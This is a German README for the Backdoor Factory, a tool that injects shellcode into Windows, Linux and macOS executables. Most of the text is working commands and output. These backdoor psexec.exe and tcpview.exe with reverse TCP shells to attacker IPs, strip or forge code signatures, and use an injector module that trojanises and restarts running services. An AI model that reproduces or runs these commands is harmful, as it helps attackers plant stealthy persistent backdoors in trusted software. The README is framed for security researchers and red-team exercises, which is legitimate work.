
Patch PE-, ELF- und Mach-O-Binärdateien mit Shellcode. Neue Version in Entwicklung, nur für Sponsoren verfügbar.
Die neue Version von BACKDOOR FACTORY ist verfügbar! Holen Sie sich Zugang hier: https://github.com/sponsors/secretsquirrel
Nur für Sicherheitsexperten und Forscher.
Das Ziel von BDF ist es, ausführbare Binärdateien mit vom Benutzer gewünschtem Shellcode zu patchen und die normale Ausführung des Zustands vor dem Patchen fortzusetzen.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Folien: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Kontaktieren Sie den Entwickler unter:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Unter einer BSD-3-Klausel-Lizenz
Siehe das Wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####Um OnionDuke zu verwenden, MÜSSEN Sie sich auf einer Intel-Maschine befinden, da aPLib noch keine Unterstützung für den ARM-Chipsatz hat.
Capstone engine kann von PyPi installiert werden mit:
sudo pip install capstone
Pefile, aktuellste Version:
https://code.google.com/p/pefile/
osslsigncode (im Repo enthalten):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali-Installation:
apt-get update
apt-get install backdoor-factory
Andere *NIX/MAC-INSTALLATION:
./install.sh
Dies installiert Capstone mit pip 3.01 und installiert pefile.
AKTUALISIERUNG:
./update.sh
Unterstützt:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
und Mach-O x86/x64 sowie diese Formate in FAT-Dateien
Gepackte Dateien: PE UPX x86/x64
Experimentell: OpenBSD x32
Einige ausführbare Dateien haben eingebaute Schutzmechanismen, daher funktioniert dies nicht bei allen Binärdateien. Es wird empfohlen, Ziel-Binärdateien zu testen, bevor sie an Kunden ausgeliefert oder in Übungen verwendet werden. Ich bin kurz davor, NSIS zu umgehen, daher werden diese Prüfungen in Zukunft umgangen.
Vielen Dank an Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Ohne ihn würde ich immer noch versuchen, dumme Dinge mit dem ELF-Format zu machen.
Auch danke an Silvio Cesare mit seinem Paper von 1998
(http://vxheaven.org/lib/vsc01.html), auf dem diese ELF-Patching-Techniken basieren.
./backdoor.py -h Verwendung: backdoor.py [Optionen]
Kann alle Codecaves in einer EXE/DLL finden.
Standardmäßig wird der Zeiger auf die PE-Zertifikatstabelle gelöscht, wodurch eine Binärdatei unsigniert wird.
Kann Shellcode in Codecaves oder in einen neuen Abschnitt injizieren.
Kann feststellen, ob eine PE-Binärdatei mit erhöhten Rechten ausgeführt werden muss.
Bei der Auswahl von Codecaves können Sie die folgenden Befehle verwenden:
-Jump (j), für Codecave-Sprünge
-Single (s), um den gesamten Shellcode in eine Cave zu patchen
-Append (a), um eine Codecave zu erstellen
-Ignore (i oder q), ignorieren, diese Binärdatei überspringen
Kann DLLs ignorieren
Import Table Patching
AutoPatching (-m automatic)
Onionduke (-m onionduke)
Erweitert das TEXT-SEGMENT um 1000 Bytes und injiziert Shellcode in diesen Codeabschnitt.
Patchen vor dem Text-Abschnitt und Entfernen der Signatur
Der Benutzer kann:
-Benutzerdefinierten Shellcode bereitstellen.
-Ein Verzeichnis mit ausführbaren Dateien/DLLs patchen.
-Nur x32- oder x64-Binärdateien zum Patchen auswählen.
-BDF in andere Python-Projekte einbinden, siehe pebin.py und elfbin.py
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] Im Backdoor-Modul
[*] Überprüfe, ob Binärdatei unterstützt wird
[*] Sammle Dateiinformationen
[*] Lese Win32-Einstiegsanweisungen
[*] Suche nach und setze ausgewählten Shellcode
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Suche nach Caves, die die minimale Shellcode-Länge von 402 aufnehmen
[*] Alle Caves-Längen: (402,)
############################################################
Die folgenden Caves können verwendet werden, um Code zu injizieren und möglicherweise
die Ausführung fortzusetzen.
**Gefällt Ihnen nicht, was Sie sehen? Verwenden Sie jump, single, append oder ignore.**
############################################################
[*] Cave 1 Länge als int: 402
[*] Verfügbare Caves:
1. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e4d5 Ende: 0x2e6d0; Cave-Größe: 507
2. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e6e9 Ende: 0x2e8d5; Cave-Größe: 492
3. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e8e3 Ende: 0x2ead8; Cave-Größe: 501
4. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eaf1 Ende: 0x2ecdd; Cave-Größe: 492
5. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2ece7 Ende: 0x2eee0; Cave-Größe: 505
6. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eef3 Ende: 0x2f0e5; Cave-Größe: 498
7. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f0fb Ende: 0x2f2ea; Cave-Größe: 495
8. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f2ff Ende: 0x2f4f8; Cave-Größe: 505
9. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f571 Ende: 0x2f7a0; Cave-Größe: 559
10. Abschnittsname: .rsrc; Abschnittsbeginn: 0x30600 Ende: 0x5f200; Cave-Beginn: 0x5b239 Ende: 0x5b468; Cave-Größe: 559
**************************************************
[!] Geben Sie Ihre Auswahl ein: 5
Verwende Auswahl: 5
[*] Ändere Abschnittsflags
[*] Patche anfängliche Einstiegsanweisungen
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Überschreibe Zeiger auf Zertifikatstabelle
[*] psexec.exe Backdooring abgeschlossen
Datei psexec.exe befindet sich im Verzeichnis 'backdoored'
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] Im Backdoor-Modul
[*] Überprüfe, ob Binärdatei unterstützt wird
[*] Sammle Dateiinformationen
[*] Lese Win32-Einstiegsanweisungen
[*] Suche nach und setze ausgewählten Shellcode
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Erstelle Codecave
- Füge einen neuen Abschnitt zur exe/dll für die Shellcode-Injektion hinzu
[*] Patche anfängliche Einstiegsanweisungen
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Überschreibe Zeiger auf Zertifikatstabelle
[*] psexec.exe Backdooring abgeschlossen
Datei psexec.exe befindet sich im Verzeichnis 'backdoored'
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...Ausgabe zu lang für README...
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
Dies öffnet calc.exe auf einem Ziel-Windows-Rechner. So 1337. Viel pwn. Wow.
BDF kann PE-Dateien signieren, wenn Sie ein Codesigning-Zertifikat haben. Es verwendet osslsigncode. Legen Sie Ihr Signaturzertifikat und Ihren privaten Schlüssel im Verzeichnis certs/ ab. Bereiten Sie Ihre Zertifikate mit openssl-Befehlen aus diesem Blogbeitrag vor: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Legen Sie Ihr privates Schlüsselpasswort in einer Datei ab (so, genau so):
echo -n yourpassword > certs/passFile.txt
Benennen Sie Ihre Zertifikate GENAU wie folgt:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
Ihr certs/-Verzeichnis sollte genau so aussehen:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
Aktivieren Sie PE Code Signing mit dem -C Flag wie folgt:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
Bei erfolgreichem Durchlauf sollten Sie diese Zeile in der BDF-Ausgabe sehen:
[*] Code Signing erfolgreich
Das Injector-Modul sucht nach Ziel-ausführbaren Dateien auf der Festplatte, die mit einer Hintertür versehen werden sollen. Es überprüft, ob Sie das Ziel als Dienst identifiziert haben, prüft, ob der Prozess läuft, beendet den Prozess und/oder Dienst, injiziert die ausführbare Datei mit dem Shellcode, speichert die Originaldatei entweder als file.exe.old oder mit einer anderen Endung Ihrer Wahl und versucht, den Prozess oder Dienst neu zu starten.
Bearbeiten Sie das Python-Wörterbuch "list_of_targets" im Modul 'injector' für Ziele Ihrer Wahl.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
####01/11/2016
####07/04/2016
####06/19/2016
####20.12.2015
####18.12.2015
####17.11.2015
####13.11.2015
####19.10.2015
####13.10.2015
####12.08.2015
'replace' PATCH_METHOD hinzugefügt - eine direkte PE-Kopie der bereitgestellten Binärdatei
Hauptsächlich zur Verwendung mit BDFProxy
Verwendung: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####11.08.2015
####05.08.2015
####01.05.2015
####28.04.2015
####14.04.2015
So viele Aktualisierungen:
Automatisches Patchen für PE-Dateien (verwenden Sie -m automatic mit einem *_threaded Payload)
Neue IAT-Payloads für x86/x64 PE-Dateien
Einfach ansehen: https://www.youtube.com/watch?v=kkLI_ur6BxY
####14.02.2015 Ich liebe euch, Leute
Import Address Table-Patching für PEs hinzugefügt, um iat_reverse_tcp-Payloads zu unterstützen, die die Importtabelle für winAPI-Aufrufe verwenden. Wenn die Binärdatei, die Sie patchen, nicht LoadLibraryA und GetProcAddress hat, patcht BDF sie in eine neue Importtabelle in einem neuen Abschnitt. Unterstützt x64/x86 PEs.
iat_reverse_tcp für x64 PEs hinzugefügt.
Fehlerbehebungen und Verbesserungen
####01.01.2015
Frohes Neues Jahr!
Zwei neue OS X-Payloads! Der Delay: delay_reverse_shell_tcp
-B 30 --> verzögert den Payload um 30 Sekunden, der Hauptcode läuft sofort.
Festlegung eines festen Capstone-Commits für den Bau in BDF, das Capstone 'Next' Repository bricht BDF.
Fehlerbehebungen zur Unterstützung der Cython-Capstone-Implementierung bei Problemen mit Nullbyte-Trunkierung
####27.12.2014
payloadtests.py hinzugefügt.
Dieses Skript gibt gepatchte Dateien im backdoored-Verzeichnis aus, die es dem Benutzer ermöglichen, die Payloads nach Belieben zu testen. Jeder Payload-Typ erhöht den verwendeten Port um eins.
Verwendung: payloadtest.py binary HOST PORT
####17.12.2014
OS X Beaconing-Payloads für x86 und x64: beaconing_reverse_shell_tcp
-B 15 --> Beacon-Zeit auf 15 Sekunden setzen
Fehlerbehebung zur Unterstützung von OS X für BDFProxy
####11.10.2014
PE UPX-Patching hinzugefügt
####26.09.2014
Mach-O x86/x64 hinzugefügt
x86 IAT-Payload-Optimierung
####31.07.2014
Unterstützung für ARM x32 LE ELF-Patching hinzugefügt
####22.07.2014
FreeBSD x32 ELF-Patching-Unterstützung hinzugefügt
Wechsel zur BSD-3-Klausel-Lizenz
####13.07.2014
Capstone integriert: http://www.capstone-engine.org/
Während des Hinzufügens von Capstone habe ich etwa 500 Codezeilen entfernt. Das ist ziemlich genial.
Umbenennung von loadliba_reverse_tcp in iat_reverse_tcp.
Kleine Optimierungen für die Geschwindigkeit.
####30.05.2014
Neuen win86-Shellcode hinzugefügt: loadliba_reverse_tcp